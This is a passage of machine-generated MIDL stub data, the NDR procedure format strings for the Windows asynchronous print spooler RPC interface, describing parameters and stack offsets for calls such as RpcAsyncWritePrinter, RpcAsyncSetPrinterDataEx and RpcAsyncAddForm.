702 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 704 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 706 */\tNdrFcShort( 0x4ee ),\t/* Type Offset=1262 */\n\n\t/* Parameter pJobId */\n\n/* 708 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 710 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 712 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Return value */\n\n/* 714 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 716 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 718 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcAsyncStartPagePrinter */\n\n/* 720 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 722 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 726 */\tNdrFcShort( 0xb ),\t/* 11 */\n/* 728 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 730 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 732 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 734 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 736 */\tNdrFcShort( 0x24 ),\t/* 36 */\n/* 738 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 740 */\t0x44,\t\t/* Oi2 Flags:  has return, has ext, */\n\t\t\t0x2,\t\t/* 2 */\n/* 742 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 744 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 746 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 748 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 750 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter hPrinter */\n\n/* 752 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 754 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 756 */\tNdrFcShort( 0x31a ),\t/* Type Offset=794 */\n\n\t/* Return value */\n\n/* 758 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 760 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 762 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcAsyncWritePrinter */\n\n/* 764 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 766 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 770 */\tNdrFcShort( 0xc ),\t/* 12 */\n/* 772 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 774 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 776 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 778 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 780 */\tNdrFcShort( 0x2c ),\t/* 44 */\n/* 782 */\tNdrFcShort( 0x24 ),\t/* 36 */\n/* 784 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x5,\t\t/* 5 */\n/* 786 */\t0xa,\t\t/* 10 */\n\t\t\t0x45,\t\t/* Ext Flags:  new corr desc, srv corr check, has range on conformance */\n/* 788 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 790 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 792 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 794 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter hPrinter */\n\n/* 796 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 798 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 800 */\tNdrFcShort( 0x31a ),\t/* Type Offset=794 */\n\n\t/* Parameter pBuf */\n\n/* 802 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 804 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 806 */\tNdrFcShort( 0x502 ),\t/* Type Offset=1282 */\n\n\t/* Parameter cbBuf */\n\n/* 808 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 810 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 812 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pcWritten */\n\n/* 814 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 816 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 818 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Return value */\n\n/* 820 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 822 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 824 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcAsyncEndPagePrinter */\n\n/* 826 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 828 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 832 */\tNdrFcShort( 0xd ),\t/* 13 */\n/* 834 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 836 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 838 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 840 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 842 */\tNdrFcShort( 0x24 ),\t/* 36 */\n/* 844 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 846 */\t0x44,\t\t/* Oi2 Flags:  has return, has ext, */\n\t\t\t0x2,\t\t/* 2 */\n/* 848 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 850 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 852 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 854 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 856 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter hPrinter */\n\n/* 858 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 860 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 862 */\tNdrFcShort( 0x31a ),\t/* Type Offset=794 */\n\n\t/* Return value */\n\n/* 864 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 866 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 868 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcAsyncEndDocPrinter */\n\n/* 870 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 872 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 876 */\tNdrFcShort( 0xe ),\t/* 14 */\n/* 878 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 880 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 882 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 884 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 886 */\tNdrFcShort( 0x24 ),\t/* 36 */\n/* 888 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 890 */\t0x44,\t\t/* Oi2 Flags:  has return, has ext, */\n\t\t\t0x2,\t\t/* 2 */\n/* 892 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 894 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 896 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 898 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 900 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter hPrinter */\n\n/* 902 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 904 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 906 */\tNdrFcShort( 0x31a ),\t/* Type Offset=794 */\n\n\t/* Return value */\n\n/* 908 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 910 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 912 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcAsyncAbortPrinter */\n\n/* 914 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 916 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 920 */\tNdrFcShort( 0xf ),\t/* 15 */\n/* 922 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 924 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 926 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 928 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 930 */\tNdrFcShort( 0x24 ),\t/* 36 */\n/* 932 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 934 */\t0x44,\t\t/* Oi2 Flags:  has return, has ext, */\n\t\t\t0x2,\t\t/* 2 */\n/* 936 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 938 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 940 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 942 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 944 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter hPrinter */\n\n/* 946 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 948 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 950 */\tNdrFcShort( 0x31a ),\t/* Type Offset=794 */\n\n\t/* Return value */\n\n/* 952 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 954 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 956 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcAsyncGetPrinterData */\n\n/* 958 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 960 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 964 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 966 */\tNdrFcShort( 0x38 ),\t/* X64 Stack size/offset = 56 */\n/* 968 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 970 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 972 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 974 */\tNdrFcShort( 0x2c ),\t/* 44 */\n/* 976 */\tNdrFcShort( 0x40 ),\t/* 64 */\n/* 978 */\t0x47,\t\t/* Oi2 Flags:  srv must size, clt must size, has return, has ext, */\n\t\t\t0x7,\t\t/* 7 */\n/* 980 */\t0xa,\t\t/* 10 */\n\t\t\t0x43,\t\t/* Ext Flags:  new corr desc, clt corr check, has range on conformance */\n/* 982 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 984 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 986 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 988 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter hPrinter */\n\n/* 990 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 992 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 994 */\tNdrFcShort( 0x31a ),\t/* Type Offset=794 */\n\n\t/* Parameter pValueName */\n\n/* 996 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 998 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 1000 */\tNdrFcShort( 0x51a ),\t/* Type Offset=1306 */\n\n\t/* Parameter pType */\n\n/* 1002 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 1004 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 1006 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pData */\n\n/* 1008 */\tNdrFcShort( 0x113 ),\t/* Flags:  must size, must free, out, simple ref, */\n/* 1010 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 1012 */\tNdrFcShort( 0x460 ),\t/* Type Offset=1120 */\n\n\t/* Parameter nSize */\n\n/* 1014 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 1016 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 1018 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pcbNeeded */\n\n/* 1020 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 1022 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 1024 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Return value */\n\n/* 1026 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 1028 */\tNdrFcShort( 0x30 ),\t/* X64 Stack size/offset = 48 */\n/* 1030 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcAsyncGetPrinterDataEx */\n\n/* 1032 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 1034 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1038 */\tNdrFcShort( 0x11 ),\t/* 17 */\n/* 1040 */\tNdrFcShort( 0x40 ),\t/* X64 Stack size/offset = 64 */\n/* 1042 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 1044 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 1046 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 1048 */\tNdrFcShort( 0x2c ),\t/* 44 */\n/* 1050 */\tNdrFcShort( 0x40 ),\t/* 64 */\n/* 1052 */\t0x47,\t\t/* Oi2 Flags:  srv must size, clt must size, has return, has ext, */\n\t\t\t0x8,\t\t/* 8 */\n/* 1054 */\t0xa,\t\t/* 10 */\n\t\t\t0x43,\t\t/* Ext Flags:  new corr desc, clt corr check, has range on conformance */\n/* 1056 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 1058 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1060 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1062 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter hPrinter */\n\n/* 1064 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 1066 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 1068 */\tNdrFcShort( 0x31a ),\t/* Type Offset=794 */\n\n\t/* Parameter pKeyName */\n\n/* 1070 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 1072 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 1074 */\tNdrFcShort( 0x51a ),\t/* Type Offset=1306 */\n\n\t/* Parameter pValueName */\n\n/* 1076 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 1078 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 1080 */\tNdrFcShort( 0x51a ),\t/* Type Offset=1306 */\n\n\t/* Parameter pType */\n\n/* 1082 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 1084 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 1086 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pData */\n\n/* 1088 */\tNdrFcShort( 0x113 ),\t/* Flags:  must size, must free, out, simple ref, */\n/* 1090 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 1092 */\tNdrFcShort( 0x47e ),\t/* Type Offset=1150 */\n\n\t/* Parameter nSize */\n\n/* 1094 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 1096 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 1098 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pcbNeeded */\n\n/* 1100 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 1102 */\tNdrFcShort( 0x30 ),\t/* X64 Stack size/offset = 48 */\n/* 1104 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Return value */\n\n/* 1106 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 1108 */\tNdrFcShort( 0x38 ),\t/* X64 Stack size/offset = 56 */\n/* 1110 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcAsyncSetPrinterData */\n\n/* 1112 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 1114 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1118 */\tNdrFcShort( 0x12 ),\t/* 18 */\n/* 1120 */\tNdrFcShort( 0x30 ),\t/* X64 Stack size/offset = 48 */\n/* 1122 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 1124 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 1126 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 1128 */\tNdrFcShort( 0x34 ),\t/* 52 */\n/* 1130 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 1132 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x6,\t\t/* 6 */\n/* 1134 */\t0xa,\t\t/* 10 */\n\t\t\t0x45,\t\t/* Ext Flags:  new corr desc, srv corr check, has range on conformance */\n/* 1136 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1138 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 1140 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1142 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter hPrinter */\n\n/* 1144 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 1146 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 1148 */\tNdrFcShort( 0x31a ),\t/* Type Offset=794 */\n\n\t/* Parameter pValueName */\n\n/* 1150 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 1152 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 1154 */\tNdrFcShort( 0x51a ),\t/* Type Offset=1306 */\n\n\t/* Parameter Type */\n\n/* 1156 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 1158 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 1160 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pData */\n\n/* 1162 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 1164 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 1166 */\tNdrFcShort( 0x460 ),\t/* Type Offset=1120 */\n\n\t/* Parameter cbData */\n\n/* 1168 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 1170 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 1172 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Return value */\n\n/* 1174 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 1176 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 1178 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcAsyncSetPrinterDataEx */\n\n/* 1180 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 1182 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1186 */\tNdrFcShort( 0x13 ),\t/* 19 */\n/* 1188 */\tNdrFcShort( 0x38 ),\t/* X64 Stack size/offset = 56 */\n/* 1190 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 1192 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 1194 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 1196 */\tNdrFcShort( 0x34 ),\t/* 52 */\n/* 1198 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 1200 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x7,\t\t/* 7 */\n/* 1202 */\t0xa,\t\t/* 10 */\n\t\t\t0x45,\t\t/* Ext Flags:  new corr desc, srv corr check, has range on conformance */\n/* 1204 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1206 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 1208 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1210 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter hPrinter */\n\n/* 1212 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 1214 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 1216 */\tNdrFcShort( 0x31a ),\t/* Type Offset=794 */\n\n\t/* Parameter pKeyName */\n\n/* 1218 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 1220 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 1222 */\tNdrFcShort( 0x51a ),\t/* Type Offset=1306 */\n\n\t/* Parameter pValueName */\n\n/* 1224 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 1226 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 1228 */\tNdrFcShort( 0x51a ),\t/* Type Offset=1306 */\n\n\t/* Parameter Type */\n\n/* 1230 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 1232 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 1234 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pData */\n\n/* 1236 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 1238 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 1240 */\tNdrFcShort( 0x47e ),\t/* Type Offset=1150 */\n\n\t/* Parameter cbData */\n\n/* 1242 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 1244 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 1246 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Return value */\n\n/* 1248 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 1250 */\tNdrFcShort( 0x30 ),\t/* X64 Stack size/offset = 48 */\n/* 1252 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcAsyncClosePrinter */\n\n/* 1254 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 1256 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1260 */\tNdrFcShort( 0x14 ),\t/* 20 */\n/* 1262 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 1264 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0xe0,\t\t/* Ctxt flags:  via ptr, in, out, */\n/* 1266 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 1268 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 1270 */\tNdrFcShort( 0x38 ),\t/* 56 */\n/* 1272 */\tNdrFcShort( 0x40 ),\t/* 64 */\n/* 1274 */\t0x44,\t\t/* Oi2 Flags:  has return, has ext, */\n\t\t\t0x2,\t\t/* 2 */\n/* 1276 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 1278 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1280 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1282 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1284 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter phPrinter */\n\n/* 1286 */\tNdrFcShort( 0x118 ),\t/* Flags:  in, out, simple ref, */\n/* 1288 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 1290 */\tNdrFcShort( 0x528 ),\t/* Type Offset=1320 */\n\n\t/* Return value */\n\n/* 1292 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 1294 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 1296 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcAsyncAddForm */\n\n/* 1298 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 1300 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1304 */\tNdrFcShort( 0x15 ),\t/* 21 */\n/* 1306 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 1308 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 1310 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 1312 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 1314 */\tNdrFcShort( 0x24 ),\t/* 36 */\n/* 1316 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 1318 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x3,\t\t/* 3 */\n/* 1320 */\t0xa,\t\t/* 10 */\n\t\t\t0x45,\t\t/* Ext Flags:  new corr desc, srv corr check, has range on conformance */\n/* 1322 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1324 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 1326 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1328 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter hPrinter */\n\n/* 1330 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 1332 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 1334 */\tNdrFcShort( 0x31a ),\t/* Type Offset=794 */\n\n\t/* Parameter pFormInfoContainer */\n\n/* 1336 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 1338 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 1340 */\tNdrFcShort( 0x5b6 ),\t/* Type Offset=1462 */\n\n\t/* Return value */\n\n/* 1342 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 1344 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 1346 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcAsyncDeleteForm */\n\n/* 1348 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 1350 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1354 